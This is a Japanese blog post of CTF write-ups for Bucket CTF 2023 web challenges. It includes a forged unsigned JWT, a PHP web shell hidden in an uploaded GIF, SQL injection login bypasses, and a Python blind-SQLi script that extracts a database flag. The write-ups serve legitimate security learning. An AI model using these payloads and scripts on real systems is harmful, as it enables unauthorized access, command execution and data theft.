はまやんはまやんはまやん

hamayanhamayan's blog

Bucket CTF 2023 Writeups

[web] Auth

ページにアクセスするとbasic認証っぽい感じで認証を求められる。
認証に失敗すると
Wrong username or password; register using /register and the username and password params
と言われるので、色々試すと以下のようにするとアカウントが作成できる。

GET /register?username=guest&password=guest HTTP/1.1
Host: 213.133.103.186:7821

ok. basic認証で渡してみる。

GET / HTTP/1.1
Host: 213.133.103.186:7821
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

すると以下のようにトークンが発行される。

HTTP/1.1 200 OK
X-Powered-By: Express
Info: check /info
Content-Type: text/html; charset=utf-8
Content-Length: 131
ETag: W/"83-Gf0yXpjbkDgYrX+RsaQV1fmUwUA"
Date: Sat, 08 Apr 2023 04:51:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNjgwOTI5NDY0fQ.0wrnDVlN7IHV3AJCorzg0qQO8Tf6UxrPSocoonpOgTw

Info: check /infoと情報がさらに与えられるので/infoに行くとcheck the /validate route; use token as the query paramと言われる。
言われた通りGET /validate?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNjgwOTI5MjI0fQ.Qmpr2gtKzXtBHHjOFUi_hEl0fSm8ClAuQezGrVnluuIのようにアクセスしてみると、only the admin account has permissions to access the flagと言われる。
jwt.ioでpayloadを見てみると{"username": "guest","iat": 1680929224}のような感じになっている。
これの偽装のために{"username": "admin","iat": 1680929224}と変更をして、jwtを作り検証部分を削るとフラグが得られた。
具体的にはGET /validate?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjgwOTI5MjI0fQ.のような感じ。

[web] gif

ファイルアップロードができるサイトが与えられる。
試しに適当なgifファイルをabc.gifという名前でアップロードしてみると、成功する。
完全に想像だが、/uploads/abc.gifに行ってみるとアップロード物が確認できた。(guessです)

名前をabc.gif.phpに変更し、先ほど送ったgif画像の末尾に<?php phpinfo();をつけてアップロードすると、これも成功する。
/uploads/abc.gif.phpに行くとphpinfoが動いているので任意phpコード実行ができそうだ。
phpコードを<?php passthru($_GET['c']);にして、?c=idとするとidコマンドが実行できていることが確認できた。
色々探索するとルート直下にflag.txtというファイルが見つかるので、最終的には?c=cat%20/flag.txtでフラグ獲得できる。

[web] SQLi-1

シンプルなログイン画面が与えられる。
SQLクエリを推測して、
usernameをadmin、passwordを' or ''='とするとフラグが得られた。

[web] SQLi-2

同様にシンプルなログイン画面が与えられる。
セミコロンは使えなくなったようだが、それを使ったペイロードではないので問題ない。
前問同様にusernameをadmin、passwordを' or ''='とするとフラグが得られた。

[web] SQLi-3

同様にシンプルなログイン画面が与えられる。
今回はフラグがどこかのテーブルにあるらしい。
SQLインジェクションは変わらずできそうではあるが、入力にクエリの結果を含めることはできなさそうなので
Blind SQL インジェクションで情報を抜き出すことをやってみよう。

import requests
import time

url = 'http://[ip]:[port]/login'

#req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES'
#[*] done! information_schema,mysql,performance_schema,railway,sys
#req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='railway'"
#[*] done! Flag,Users
#req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='Flag'"
#[*] done! id,value
req = "SELECT GROUP_CONCAT(distinct value) FROM Flag"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or if({md} <= ascii(substring(({req}),{i},1)), 1, 0) #"
        res = requests.post(url, data={'userName':'admin','password':exp})
        if 'no' not in res.text:
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

適当にこんな感じのものを書いて抜き出すとフラグが得られる。